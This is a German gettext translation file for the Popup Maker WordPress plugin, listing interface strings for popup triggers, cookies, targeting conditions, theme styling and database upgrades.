msgctxt "condition: taxonomy plural label ie. Select Categories"
msgid "Select %s."
msgstr "Wähle %s."

#. translators: 1. Taxonomy plural label.
#: classes/Conditions.php:440
msgctxt "condition: taxonomy plural label ie. Categories: Selected"
msgid "%s: Selected"
msgstr "%s: Ausgewählt"

#. translators: 1. Taxonomy plural label.
#: classes/Conditions.php:430
msgctxt "condition: taxonomy plural label ie. Categories: All"
msgid "%s: All"
msgstr "%s: Alle"

#. translators: 1. Taxonomy plural label.
#: classes/Conditions.php:400
msgctxt "condition: post type plural label ie. Select categories"
msgid "Select %s."
msgstr "Wähle %s."

#. translators: 1. Post type plural label, 2. Taxonomy singular label.
#: classes/Conditions.php:392
msgctxt "condition: post type plural and taxonomy singular label ie. Posts: With Category"
msgid "%1$s: With %2$s"
msgstr "%1$s: Mit %2$s"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:263 classes/Conditions.php:308
#: classes/Conditions.php:331
msgctxt "condition: post type plural label ie. Select Posts"
msgid "Select %s."
msgstr "Wähle %s."

#. translators: 1. Post type plural label.
#: classes/Conditions.php:256
msgctxt "condition: post type plural label ie. Posts: Selected"
msgid "%s: Selected"
msgstr "%s: Ausgewählt"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:246
msgctxt "condition: post type plural label ie. Posts: All"
msgid "All %s"
msgstr "Alle %s"

#. translators: 1. Post type plural label.
#: classes/Conditions.php:234
msgctxt "condition: post type plural label ie. Posts: All"
msgid "%s Archive"
msgstr "%s Archiv"

#: classes/Admin/Subscribers/Table.php:279
msgid "User ID"
msgstr "Benutzer-ID"

#: classes/Admin/Subscribers/Table.php:312 classes/Privacy.php:227
msgid "ID"
msgstr "ID"

#: classes/Admin/Subscribers/Table.php:102 classes/Privacy.php:233
#: classes/Shortcode/Subscribe.php:217 classes/Shortcode/Subscribe.php:221
#: classes/Shortcode/Subscribe.php:269 classes/Shortcode/Subscribe.php:270
msgid "Email"
msgstr "E-Mail"

#: includes/integrations/class-pum-woocommerce-integration.php:59
msgid "Account Page"
msgstr "Kontoseite"

#: includes/integrations/class-pum-woocommerce-integration.php:54
msgid "Checkout Page"
msgstr "Seite „Kasse“"

#: includes/integrations/class-pum-woocommerce-integration.php:49
msgid "Cart Page"
msgstr "Warenkorb-Seite"

#: includes/integrations/class-pum-woocommerce-integration.php:44
msgid "Shop Page"
msgstr "Shop-Seite"

#: includes/integrations/class-pum-woocommerce-integration.php:39
msgid "All WooCommerce"
msgstr "Alle WooCommerce"

#: includes/integrations/class-pum-woocommerce-integration.php:38
#: includes/integrations/class-pum-woocommerce-integration.php:43
#: includes/integrations/class-pum-woocommerce-integration.php:48
#: includes/integrations/class-pum-woocommerce-integration.php:53
#: includes/integrations/class-pum-woocommerce-integration.php:58
#: includes/integrations/class-pum-woocommerce-integration.php:64
#: includes/integrations/class-pum-woocommerce-integration.php:99
msgid "WooCommerce"
msgstr "WooCommerce"

#: classes/Shortcode.php:153 classes/Shortcode.php:165
#: classes/Shortcode.php:180
msgid "Options"
msgstr "Optionen"

#. translators: %s is the property name.
#: classes/Abstract/Model/Post.php:260 classes/Abstract/Model/User.php:186
msgid "Can't get property %s"
msgstr "Kann die Eigenschaft %s nicht abrufen"

#: classes/Admin/Templates.php:757
msgid "Reset Cookie Key"
msgstr "Cookie-Schlüssel zurücksetzen"

#: classes/Cookies.php:161
msgid "Sessions"
msgstr "Sitzungen"

#: classes/Conditions.php:114
msgid "Format"
msgstr "Format"

#: classes/Conditions.php:111 classes/Conditions.php:497
msgid "Posts"
msgstr "Beiträge"

#: classes/Conditions.php:110
msgid "Pages"
msgstr "Seiten"

#. translators: 1: Step number, 2: Approximate number of steps.
#: includes/admin/upgrades/class-pum-admin-upgrade-routine.php:63
msgid "Step %1$d of approximately %2$d running"
msgstr "Schritt %1$d von ungefähr %2$d läuft"

#: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:42
msgid "Clean up old data and verify data integrity."
msgstr "Alte Daten bereinigen und Integrität der Daten überprüfen."

#: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:30
msgid "Initialize popup analytics."
msgstr "Popup-Statistik initialisieren."

#: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:32
msgid "Upgrade popup targeting conditions."
msgstr "Aktualisiere Popup Auswahl-Konditionen."

#: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:32
msgid "Upgrade popup triggers &amp; cookies."
msgstr "Aktualisiere Popup Auslöser &amp; Cookies."

#: classes/Admin/Shortcode/UI.php:190
msgid "You do not have access to preview this post."
msgstr "Du hast keinen Zugriff auf die Vorschau dieses Beitrags."

#: classes/Admin/Templates.php:466
msgid "Delete this trigger"
msgstr "Diesen Auslöser löschen"

#: classes/Admin/Templates.php:456 classes/Admin/Templates.php:465
msgid "Edit this trigger"
msgstr "Diesen Auslöser bearbeiten"

#: classes/Admin/Templates.php:425 classes/Triggers.php:368
msgid "Cookie"
msgstr "Cookie"

#: classes/Admin/Templates.php:424
msgid "Type"
msgstr "Typ"

#: classes/Admin/Templates.php:404
msgid "Add New Trigger"
msgstr "Neuen Auslöser hinzufügen"

#: classes/Admin/Popups.php:406 classes/Admin/Templates.php:412
#: classes/Site/Assets.php:291
msgid "Triggers"
msgstr "Auslöser"

#: classes/Admin/Templates.php:739
msgid "Delete this cookie"
msgstr "Dieses Cookie löschen"

#: classes/Admin/Templates.php:729 classes/Admin/Templates.php:738
msgid "Edit this cookie"
msgstr "Dieses Cookie bearbeiten"

#: classes/Cookies.php:83
msgid "On Popup Close"
msgstr "Beim Schließen des Popups"

#: classes/Cookies.php:160
msgid "Cookie Settings"
msgstr "Cookie-Einstellungen"

#: classes/Admin/Templates.php:427 classes/Admin/Templates.php:700
#: classes/Shortcode/Subscribe.php:66
msgid "Actions"
msgstr "Aktionen"

#: classes/Admin/Templates.php:697
msgid "Event"
msgstr "Ereignis"

#: classes/Admin/Templates.php:677 classes/Triggers.php:345
msgid "Add New Cookie"
msgstr "Neues Cookie hinzufügen"

#: classes/Admin/Templates.php:685 classes/Privacy.php:67
#: classes/Site/Assets.php:292
msgid "Cookies"
msgstr "Cookies"

#: classes/Admin/Templates.php:638
msgid "and"
msgstr "und"

#: classes/Admin/Templates.php:638
msgctxt "aria-label for add new AND condition button"
msgid "Add another AND condition group"
msgstr "Füge eine weitere Gruppe für UND Bedingungen hinzu"

#: classes/Admin/Templates.php:634 classes/Admin/Templates.php:645
msgid "or"
msgstr "oder"

#: classes/Admin/Templates.php:634
msgctxt "aria-label for add new OR condition button"
msgid "Add another OR condition"
msgstr "Füge eine weitere Gruppe für ODER Bedingungen hinzu"

#: classes/Admin/Templates.php:659
msgid "Remove Condition"
msgstr "Bedingung entfernen"

#: classes/Admin/Templates.php:615 classes/Admin/Templates.php:647
msgid "Enable the Not Operand"
msgstr "Aktiviere den Not-Operand"

#: classes/Admin/Popups.php:429 classes/Site/Assets.php:294
msgid "Conditions"
msgstr "Bedingungen"

#: classes/Admin/Popups.php:1127
msgid "Lifetime Opens"
msgstr "bisherige Öffnungen"

#: classes/Admin/Popups.php:1120
msgid "Previous Opens"
msgstr "vorherige Öffnungen"

#: classes/Admin/Popups.php:1119
msgid "Last Reset"
msgstr "Letztes zurücksetzen"

#: classes/Admin/Popups.php:1097 classes/Admin/Popups.php:1208
msgid "Opens"
msgstr "Öffnungen"

#: classes/Admin/Popups.php:184 classes/Privacy.php:116
msgid "Analytics"
msgstr "Analysen"

#: includes/admin/class-pum-admin-upgrades.php:636
msgid "Upgrade failed, please try again."
msgstr "Upgrade fehlgeschlagen, bitte versuche es erneut."

#: includes/admin/class-pum-admin-upgrades.php:561
msgid "The upgrade process has started, please be patient. This could take several minutes. You will be automatically redirected when the upgrade is finished."
msgstr "Der Upgrade-Prozess hat begonnen, bitte habe Geduld. Das kann mehrere Minuten dauern. Du wirst automatisch umgeleitet, sobald das Upgrade fertig ist."

#: includes/admin/class-pum-admin-upgrades.php:546
msgid "Popup Maker - Upgrades"
msgstr "Popup Maker - Upgrades"

#: includes/admin/class-pum-admin-upgrades.php:290
msgid "Upgrades have been completed successfully."
msgstr "Upgrades wurden erfolgreich durchgeführt."

#: includes/admin/class-pum-admin-upgrades.php:268
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:32
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:43
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:43
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:38
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:50
msgid "You do not have permission to do upgrades"
msgstr "Du hast keine Berechtigung, um Upgrades durchzuführen"

#. translators: %1$s: URL to upgrade page. %2$s: closing HTML tag.
#: includes/admin/class-pum-admin-upgrades.php:250
msgid "Please click %1$shere%2$s to complete these changes now."
msgstr "Bitte klicke %1$shier%2$s, um deine Änderungen zu bestätigen."

#: includes/admin/class-pum-admin-upgrades.php:247
msgid "Database upgrades required."
msgstr "Ein Upgrade der Datenbank ist erforderlich. "

#: includes/admin/class-pum-admin-upgrades.php:246
msgid "Important"
msgstr "Wichtig"

#. translators: %s: URL to upgrade page.
#: includes/admin/class-pum-admin-upgrades.php:239
msgid "Popup Maker needs to complete a database upgrade that was previously started, click <a href=\"%s\">here</a> to resume the upgrade."
msgstr "Popup Maker muss ein Datenbank Upgrade beenden das früher gestartet wurde, klicke <a href=\"%s\">hier</a> um das Upgrade fortzusetzen."

#: includes/admin/class-pum-admin-upgrades.php:117
#: includes/admin/class-pum-admin-upgrades.php:118
msgid "Popup Maker Upgrades"
msgstr "Popup Maker Upgrades"

#: classes/Admin/Helpers.php:387 classes/Admin/Popups.php:405
#: classes/Admin/Popups.php:860 classes/Admin/Templates.php:338
#: classes/Admin/Themes.php:186 classes/Admin/Themes.php:379
#: classes/Shortcode/Popup.php:61 classes/Shortcode/Popup.php:85
#: templates/popup.php:59
msgid "Close"
msgstr "Schließen"

#: classes/Admin/Assets.php:84
msgid "Are you sure you want to reset the open count?"
msgstr "Bist du sicher, dass du den Öffnungs-Zähler zurücksetzen möchtest?"

#: classes/Admin/Assets.php:82
msgid "Are you sure you want to delete this cookie?"
msgstr "Bist du sicher, dass du dieses Cookie löschen möchtest?"

#: classes/Admin/Assets.php:81
msgid "Are you sure you want to delete this trigger?"
msgstr "Bist du sicher, dass du diesen Auslöser löschen möchtest?"

#: classes/Admin/Assets.php:85 classes/Admin/Shortcode/UI.php:117
msgid "Popup Maker Shortcodes"
msgstr "Popup Maker Shortcodes"

#: classes/Admin/Assets.php:80 classes/Admin/Helpers.php:366
#: classes/Admin/Shortcode/UI.php:116
msgid "Cancel"
msgstr "Abbrechen"

#: classes/Admin/Assets.php:79 classes/Admin/Shortcode/UI.php:115
msgid "Insert"
msgstr "Einfügen"

#: classes/Admin/Assets.php:78
msgid "Update"
msgstr "Aktualisieren"

#: classes/Admin/Assets.php:76 classes/Admin/Helpers.php:368
#: classes/Admin/Templates.php:548 classes/Admin/Templates.php:750
msgid "Add"
msgstr "Hinzufügen"

#: classes/Admin/Settings.php:505
msgid "This will disable the popup tags & categories."
msgstr "Hiermit werden die Popup-Schlagwörter und -Kategorien deaktiviert."

#: classes/Admin/Settings.php:504
msgid "Disable categories & tags?"
msgstr "Kategorien und Schlagwörter deaktivieren?"

#: classes/Admin/Templates.php:290 classes/Admin/Templates.php:295
msgid "Documentation"
msgstr "Dokumentation"

#: classes/Integration/Form/ContactForm7.php:34
msgid "Contact Form 7"
msgstr "Contact Form 7"

#: classes/Admin/Pages.php:168
msgid "Contact Us"
msgstr "Kontaktiere uns"

#: classes/Admin/Pages.php:167
msgid "Account"
msgstr "Konto"

#: classes/Admin/Pages.php:166
msgid "Support Forum"
msgstr "Support-Forum"

#: classes/Admin/Pages.php:154
msgid "All Themes"
msgstr "Alle Themes"

#: classes/Admin/Pages.php:152 includes/modules/admin-bar.php:195
msgid "All Popups"
msgstr "Alle Popus"

#: classes/Admin/Pages.php:163
msgid "Extend"
msgstr "Erweitern"

#. Description of the plugin
#: popup-maker.php
msgid "Easily create & style popups with any content. Theme editor to quickly style your popups. Add forms, social media boxes, videos & more."
msgstr "Ganz einfach Popups mit beliebigem Inhalt erstellen und stylen. Mit dem Theme Editor kannst Du die Styles Deiner Popups schnell anpassen. Füge Formulare, Boxen für soziale Netzwerke, Videos und mehr hinzu."

#. Plugin Name of the plugin
#. Author of the plugin
#: popup-maker.php classes/Cookies.php:100 classes/Extension/Activator.php:176
#: classes/Extension/Activator.php:188 classes/Extension/Activator.php:201
#: classes/Privacy.php:36 classes/Site/Assets.php:275 classes/Triggers.php:226
#: classes/Types.php:29 classes/Utils/Alerts.php:492
#: includes/admin/class-pum-admin-upgrades.php:245
#: includes/integrations/class-pum-gravity-forms.php:57
#: includes/modules/admin-bar.php:77
msgid "Popup Maker"
msgstr "Popup Maker"

#: classes/Types.php:27 classes/Upsell.php:144
#: includes/modules/admin-bar.php:87
msgid "Popups"
msgstr "Popups"

#: classes/Admin/Popups.php:115 classes/Admin/Subscribers/Table.php:106
#: classes/Shortcode/Popup.php:34 classes/Shortcode/Popup.php:414
#: classes/Shortcode/Subscribe.php:98 classes/Types.php:27
#: classes/Types.php:212 classes/Upsell.php:144
#: includes/integrations/class-pum-cf7.php:175
#: includes/integrations/class-pum-gravity-forms.php:166
#: includes/modules/menus.php:62
msgid "Popup"
msgstr "Pop-up"

#: classes/Admin/Pages.php:153
msgid "Add New"
msgstr "Erstellen"

#: classes/Admin/Subscribers/Table.php:427 classes/Extension/Updater.php:611
#: includes/admin/class-pum-admin-upgrades.php:268
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:32
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:43
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:43
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:38
#: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:50
msgid "Error"
msgstr "Fehler"

#: classes/Extension/Updater.php:611
msgid "You do not have permission to install plugin updates"
msgstr "Du hast keine Berechtigung, um Plugin-Aktualisierungen zu installieren"

#: includes/functions-deprecated.php:269
#: includes/functions/themes/portability.php:75
msgid "Default Theme"
msgstr "Standard-Theme"

#: classes/Cookies.php:125 includes/input-options.php:165
msgid "Manual"
msgstr "Manuell"

#: includes/input-options.php:164
msgid "On Close"
msgstr "Beim Schließen"

#: includes/input-options.php:163
msgid "On Open"
msgstr "Beim Öffnen"

#: includes/input-options.php:162
msgid "Disabled"
msgstr "Deaktiviert"

#: classes/Admin/Popups.php:677 classes/Admin/Popups.php:729
#: classes/Admin/Themes.php:890 includes/input-options.php:115
#: includes/input-options.php:135 includes/input-options.php:150
msgid "Bottom Right"
msgstr "Unten rechts"

#: classes/Admin/Popups.php:676 classes/Admin/Popups.php:728
#: classes/Admin/Themes.php:889 includes/input-options.php:114
#: includes/input-options.php:134
msgid "Bottom Center"
msgstr "Unten mittig"

#: classes/Admin/Popups.php:675 classes/Admin/Popups.php:727
#: classes/Admin/Themes.php:888 includes/input-options.php:113
#: includes/input-options.php:133 includes/input-options.php:149
msgid "Bottom Left"
msgstr "Unten links"

#: classes/Admin/Popups.php:674 classes/Admin/Popups.php:726
#: classes/Admin/Themes.php:887 includes/input-options.php:112
#: includes/input-options.php:132
msgid "Middle Right"
msgstr "Mittel rechts"

#: classes/Admin/Popups.php:673 classes/Admin/Popups.php:725
#: includes/input-options.php:111 includes/input-options.php:131
msgid "Middle Center"
msgstr "Mitte zentriert"

#: classes/Admin/Popups.php:672 classes/Admin/Popups.php:724
#: classes/Admin/Themes.php:886 includes/input-options.php:110
#: includes/input-options.php:130
msgid "Middle Left"
msgstr "Mittel links"

#: classes/Admin/Popups.php:671 classes/Admin/Popups.php:723
#: classes/Admin/Themes.php:885 includes/input-options.php:109
#: includes/input-options.php:129 includes/input-options.php:148
msgid "Top Right"
msgstr "Oben rechts"

#: classes/Admin/Popups.php:670 classes/Admin/Popups.php:722
#: classes/Admin/Themes.php:884 includes/input-options.php:108
#: includes/input-options.php:128
msgid "Top Center"
msgstr "Oben mittig"

#: classes/Admin/Popups.php:669 classes/Admin/Popups.php:721
#: classes/Admin/Themes.php:883 includes/input-options.php:107
#: includes/input-options.php:127 includes/input-options.php:147
msgid "Top Left"
msgstr "Oben links"

#: includes/input-options.php:91
msgid "Grow and Slide"
msgstr "Wachsen und sliden"

#: includes/input-options.php:90
msgid "Grow"
msgstr "Wachsen"

#: classes/Admin/Popups.php:640 includes/input-options.php:89
msgid "Fade and Slide"
msgstr "Verblassen und sliden"

#: classes/Admin/Popups.php:639 includes/input-options.php:88
msgid "Fade"
msgstr "Ein-/Ausblenden"

#: classes/Admin/Popups.php:638 includes/input-options.php:87
msgid "Slide"
msgstr "Slide"

#: classes/Admin/Popups.php:563 classes/Shortcode/PopupTrigger.php:97
#: includes/input-options.php:74
msgid "Custom"
msgstr "Individuell"

#: classes/Admin/Popups.php:562 includes/input-options.php:73
msgid "Auto"
msgstr "Automatisch"

#: includes/input-options.php:72
msgid "Non Responsive Sizes&#10549;"
msgstr "Nicht responsive Größen&#10549;"

#: classes/Admin/Popups.php:559 includes/input-options.php:71
msgid "X Large - 95%"
msgstr "Sehr groß - 95%"

#: classes/Admin/Popups.php:558 includes/input-options.php:70
msgid "Large - 80%"
msgstr "Groß - 80%"

#: classes/Admin/Popups.php:557 includes/input-options.php:69
msgid "Normal - 70%"
msgstr "Normal - 70%"

#: classes/Admin/Popups.php:556 includes/input-options.php:68
msgid "Medium - 60%"
msgstr "Mittel - 60%"

#: classes/Admin/Popups.php:555 includes/input-options.php:67
msgid "Small - 40%"
msgstr "Klein - 40%"

#: classes/Admin/Popups.php:554 includes/input-options.php:66
msgid "Tiny - 30%"
msgstr "Sehr klein - 30%"

#: classes/Admin/Popups.php:553 includes/input-options.php:65
msgid "Micro - 20%"
msgstr "Mikro - 20%"

#: classes/Admin/Popups.php:552 includes/input-options.php:64
msgid "Nano - 10%"
msgstr "Nano - 10%"

#: includes/input-options.php:63
msgid "Responsive Sizes&#10549;"
msgstr "Responsive Größen&#10549;"

#: classes/Admin/Themes.php:500 classes/Admin/Themes.php:754
#: classes/Admin/Themes.php:853 classes/Admin/Themes.php:1057
#: includes/input-options.php:37
msgid "Normal"
msgstr "Normal"

#: classes/Admin/Themes.php:470
msgid "Use Your Themes"
msgstr "Nutze Deine Themes"

#: classes/Admin/Themes.php:445
msgid "Ridge"
msgstr "Gezahnt"

#: classes/Admin/Themes.php:444
msgid "Outset"
msgstr "Beginn"

#: classes/Admin/Themes.php:442
msgid "Groove"
msgstr "Geriffelt"

#: classes/Admin/Themes.php:441
msgid "Double"
msgstr "Doppelt"

#: classes/Admin/Themes.php:440
msgid "Dashed"
msgstr "Gestrichelt"

#: classes/Admin/Themes.php:439
msgid "Dotted"
msgstr "Gepunktet"

#: classes/Admin/Themes.php:438
msgid "Solid"
msgstr "Durchgehend"

#: classes/Admin/Assets.php:83 classes/Admin/Popups.php:637
#: classes/Admin/Popups.php:693 classes/Admin/Settings.php:284
#: classes/Admin/Themes.php:437 classes/Shortcode/Subscribe.php:137
#: classes/Shortcode/Subscribe.php:148 classes/Shortcode/Subscribe.php:304
#: includes/input-options.php:86
msgid "None"
msgstr "Nichts"

#: classes/Cookies.php:265
msgid "Changing this will cause all existing cookies to be invalid."
msgstr "Dies zu ändern wird alle bereits existierende Cookies ungültig machen."

#: classes/Cookies.php:258 classes/Shortcode/PopupCookie.php:61
msgid "This will prevent the popup from triggering on all pages until the cookie expires."
msgstr "Dies verhindert das Auslösen von Popups auf allen Seiten bis das Cookie abläuft."

#: classes/Cookies.php:238 classes/Shortcode/PopupCookie.php:56
msgid "Enter a plain english time before cookie expires."
msgstr "Gib eine eindeutige Zeitspanne (in Englisch) an, wie lange das Cookie gültig sein soll. "

#: classes/Cookies.php:237 classes/Shortcode/PopupCookie.php:55
msgid "364 days 23 hours 59 minutes 59 seconds"
msgstr "364 Tage 23 Stunden 59 Minuten 59 Sekunden"

#: classes/Admin/Helpers.php:209 classes/Admin/Popups.php:653
#: classes/Admin/Popups.php:873 classes/Shortcode/Popup.php:253
#: classes/Utils/Fields.php:131 includes/class-popmake-fields.php:186
msgid "ms"
msgstr "ms"

#: classes/Utils/Cron.php:39
msgid "Once Weekly"
msgstr "Einmal wöchentlich"

#: classes/Admin/Tools.php:269
msgid "Import From Easy Modal v2"
msgstr "Import aus Easy Modal v2"

#: classes/Admin/Tools.php:135
msgid "Import / Export"
msgstr "Import / Export"

#: classes/Admin/Tools.php:46
msgid "Successfully Imported your themes &amp; modals from Easy Modal."
msgstr "Deine Themes und Modals wurden erfolgreich von Easy Modal importiert."

#: classes/Admin/Themes.php:182
msgid "Title Text"
msgstr "Text der Überschrift"

#: classes/Admin/Themes.php:37
msgid "Theme Preview"
msgstr "Theme-Vorschau"

#: classes/Admin/Themes.php:408 classes/Admin/Themes.php:421
msgid "Text Shadow"
msgstr "Text-Schatten"

#: classes/Admin/Themes.php:681 classes/Admin/Themes.php:1142
msgid "Spread"
msgstr "Ausdehnen"

#: classes/Admin/Themes.php:671 classes/Admin/Themes.php:810
#: classes/Admin/Themes.php:1132 classes/Admin/Themes.php:1201
msgid "Blur Radius"
msgstr "Unschärfe-Radius"

#: classes/Admin/Themes.php:661 classes/Admin/Themes.php:800
#: classes/Admin/Themes.php:1122 classes/Admin/Themes.php:1191
msgid "Vertical Position"
msgstr "Vertikale Position"

#: classes/Admin/Themes.php:651 classes/Admin/Themes.php:790
#: classes/Admin/Themes.php:1112 classes/Admin/Themes.php:1181
msgid "Horizontal Position"
msgstr "Horizontale Position"

#: classes/Admin/Settings.php:355 classes/Admin/Settings.php:397
#: classes/Admin/Settings.php:406 classes/Admin/Themes.php:697
#: classes/Admin/Themes.php:1158 classes/Shortcode/Subscribe.php:326
#: classes/Shortcode/Subscribe.php:379
msgid "Yes"
msgstr "Ja"

#: classes/Admin/Settings.php:356 classes/Admin/Settings.php:415
#: classes/Admin/Themes.php:696 classes/Admin/Themes.php:1157
#: classes/Shortcode/Subscribe.php:327 classes/Shortcode/Subscribe.php:391
msgid "No"
msgstr "Nein"

#: classes/Admin/Themes.php:404 classes/Admin/Themes.php:419
msgid "Drop Shadow"
msgstr "Schattenwurf"

#: classes/Admin/Themes.php:619 classes/Admin/Themes.php:1080
msgid "Thickness"
msgstr "Dicke"

#: classes/Admin/Themes.php:403 classes/Admin/Themes.php:418
msgid "Border"
msgstr "Rand"

#: classes/Admin/Themes.php:544 classes/Admin/Themes.php:590
#: classes/Admin/Themes.php:640 classes/Admin/Themes.php:779
#: classes/Admin/Themes.php:998 classes/Admin/Themes.php:1101
#: classes/Admin/Themes.php:1170
msgid "Opacity"
msgstr "Deckkraft"

#: classes/Admin/Themes.php:398 classes/Admin/Themes.php:402
#: classes/Admin/Themes.php:417
msgid "Background"
msgstr "Hintergrund"

#: classes/Admin/Themes.php:603 classes/Admin/Themes.php:749
#: classes/Admin/Themes.php:848 classes/Admin/Themes.php:1052
#: classes/Admin/Themes.php:1064
msgid "Style"
msgstr "Stil"

#: classes/Admin/Themes.php:724 classes/Admin/Themes.php:1027
msgid "Line Height"
msgstr "Zeilenhöhe"

#: classes/Admin/Themes.php:538 classes/Admin/Themes.php:584
#: classes/Admin/Themes.php:610 classes/Admin/Themes.php:634
#: classes/Admin/Themes.php:708 classes/Admin/Themes.php:773
#: classes/Admin/Themes.php:827 classes/Admin/Themes.php:992
#: classes/Admin/Themes.php:1011 classes/Admin/Themes.php:1071
#: classes/Admin/Themes.php:1095 classes/Admin/Themes.php:1164
msgid "Color"
msgstr "Farbe"

#: classes/Admin/Themes.php:407 classes/Admin/Themes.php:420
msgid "Font"
msgstr "Schrift"

#: classes/Admin/Themes.php:562 classes/Admin/Themes.php:950
msgid "Padding"
msgstr "Innenabstand"

#: classes/Admin/Themes.php:411
msgid "Text"
msgstr "Text"

#: classes/Admin/Assets.php:77 classes/Admin/Settings.php:701
#: classes/Admin/Tools.php:91 classes/Admin/Tools.php:214
#: includes/integrations/class-pum-gravity-forms.php:181
msgid "Save"
msgstr "Speichern"

#: classes/Admin/Templates.php:204
msgid "Deactivate License"
msgstr "Lizenz deaktivieren"

#: classes/Admin/Settings.php:744 classes/Admin/Settings.php:781
msgid "Misc"
msgstr "Verschiedenes"

#: classes/Admin/Settings.php:742 classes/Admin/Settings.php:774
msgid "Licenses"
msgstr "Lizenzen"

#: classes/Admin/Settings.php:782
msgid "Assets"
msgstr "Anlagen"

#: classes/Admin/Popups.php:403 classes/Admin/Settings.php:739
#: classes/Admin/Settings.php:765 classes/Admin/Settings.php:768
#: classes/Admin/Settings.php:777 classes/Admin/Themes.php:374
#: classes/Admin/Themes.php:395 classes/Admin/Themes.php:414
#: classes/Conditions.php:109 classes/Conditions.php:490
#: classes/Conditions.php:504 classes/Conditions.php:510
#: classes/Cookies.php:210 classes/Shortcode.php:152 classes/Shortcode.php:164
#: classes/Shortcode.php:177 classes/Shortcode/Popup.php:57
#: classes/Shortcode/Popup.php:73 classes/Shortcode/Subscribe.php:63
#: classes/Shortcode/Subscribe.php:85 classes/Shortcode/Subscribe.php:88
#: classes/Triggers.php:367 includes/class-popmake-fields.php:63
msgid "General"
msgstr "Allgemein"

#: classes/Admin/Settings.php:500
msgid "This will automatically make any eModal classes you have added to your site launch the appropriate Popup after import."
msgstr "Dadurch werden alle eModal-Klassen, die du zu deiner Website hinzugefügt hast, nach dem Import automatisch das entsprechende Popup anzeigen."

#: classes/Admin/Settings.php:499
msgid "Enable Easy Modal v2 Compatibility Mode"
msgstr "Aktiviere den Easy Modal v2 Kompatibilitäts-Modus"

#: classes/Admin/Settings.php:545
msgid "Check this if you have copied the popup theme styles to your own stylesheet or are using custom styles."
msgstr "Aktiviere diese Option, wenn du die Popup-Themenstile in dein eigenes Stylesheet kopiert hast oder individuelle Stile verwendest."

#: classes/Admin/Settings.php:544
msgid "Don't load popup theme styles to the head."
msgstr "Lade keine Popup-Themenstile in den Kopf."

#: classes/Admin/Settings.php:534
msgid "Don't Load Google Fonts"
msgstr "Google Fonts nicht laden"

#: classes/Admin/Settings.php:259
msgid "Allow usage tracking?"
msgstr "Nutzungsverfolgung zulassen?"

#: classes/Admin/Themes.php:767
msgid "Justify"
msgstr "Ausrichten"

#: classes/Admin/Themes.php:765 classes/Shortcode/Subscribe.php:293
#: includes/input-options.php:51
msgid "Center"
msgstr "Zentriert"

#: classes/Admin/Themes.php:755 classes/Admin/Themes.php:854
#: classes/Admin/Themes.php:1058 includes/input-options.php:38
msgid "Italic"
msgstr "Kursiv"

#: classes/Admin/Themes.php:503
msgid "Bold"
msgstr "Fett"

#: classes/Shortcode/PopupTrigger.php:43 dist/block-editor/block-editor.js:6
msgid "Popup Trigger"
msgstr "Popup Auslöser"

#: classes/ListTable.php:1161
msgid "Select All"
msgstr "Alle auswählen"

#: classes/Admin/Themes.php:34
msgid "Theme Settings"
msgstr "Theme-Einstellungen"

#: classes/Admin/Templates.php:577
msgid "Targeting Conditions"
msgstr "Targeting von Bedingungen"

#: classes/Admin/Popups.php:537
msgid "Choose a theme for this popup."
msgstr "Wähle ein Theme für dieses Popup."

#: classes/Admin/Popups.php:844
msgid "Change the z-index layer level for the popup."
msgstr "Ändere die z-index-Ebene für das Popup."

#: classes/Admin/Popups.php:843
msgid "Popup Z-Index"
msgstr "Popup Z-Index"

#: classes/Admin/Popups.php:668 classes/Admin/Popups.php:787
#: classes/Admin/Popups.php:791 classes/Admin/Themes.php:766
#: classes/Admin/Themes.php:934 classes/Shortcode/Popup.php:218
#: classes/Shortcode/Popup.php:222 classes/Shortcode/Subscribe.php:294
#: includes/input-options.php:52 includes/input-options.php:106
msgid "Right"
msgstr "Rechts"

#: classes/Admin/Popups.php:666 classes/Admin/Popups.php:769
#: classes/Admin/Popups.php:773 classes/Admin/Themes.php:764
#: classes/Admin/Themes.php:921 classes/Shortcode/Popup.php:203
#: classes/Shortcode/Popup.php:207 classes/Shortcode/Subscribe.php:292
#: includes/input-options.php:50 includes/input-options.php:104
msgid "Left"
msgstr "Links"

#: classes/Admin/Popups.php:667 classes/Admin/Popups.php:751
#: classes/Admin/Popups.php:755 classes/Admin/Themes.php:908
#: classes/Shortcode/Popup.php:188 classes/Shortcode/Popup.php:192
#: includes/input-options.php:105
msgid "Bottom"
msgstr "Unten"

#: classes/Admin/Popups.php:665 classes/Admin/Popups.php:733
#: classes/Admin/Popups.php:737 classes/Admin/Themes.php:894
#: classes/Shortcode/Popup.php:173 classes/Shortcode/Popup.php:177
#: includes/input-options.php:103
msgid "Top"
msgstr "Oben"

#: classes/Admin/Popups.php:818
msgid "Checking this sets the positioning of the popup to fixed."
msgstr "Wenn du diese Option aktivierst, wird die Positionierung des Popups fixiert."

#: classes/Admin/Popups.php:817
msgid "Fixed Positioning"
msgstr "Feste Position"

#: classes/Admin/Popups.php:716 classes/Shortcode/Popup.php:166
msgid "Choose where the popup will be displayed."
msgstr "Wähle, wo das Popup angezeigt werden soll."

#: classes/Admin/Popups.php:715 classes/Admin/Themes.php:878
#: classes/Shortcode/Popup.php:165
msgid "Location"
msgstr "Ort"

#: classes/Admin/Popups.php:832
msgid "This enables other popups to remain open."
msgstr "Wenn du diese Option aktivierst, können andere Popups geöffnet bleiben."

#: classes/Admin/Popups.php:831
msgid "Stackable"
msgstr "Stapelbar"

#: classes/Admin/Popups.php:437 classes/Admin/Themes.php:416
#: classes/Shortcode/Popup.php:59 classes/Shortcode/Popup.php:79
msgid "Position"
msgstr "Position"

#: classes/Admin/Popups.php:661 classes/Shortcode/Popup.php:257
msgid "Choose where the animation will begin."
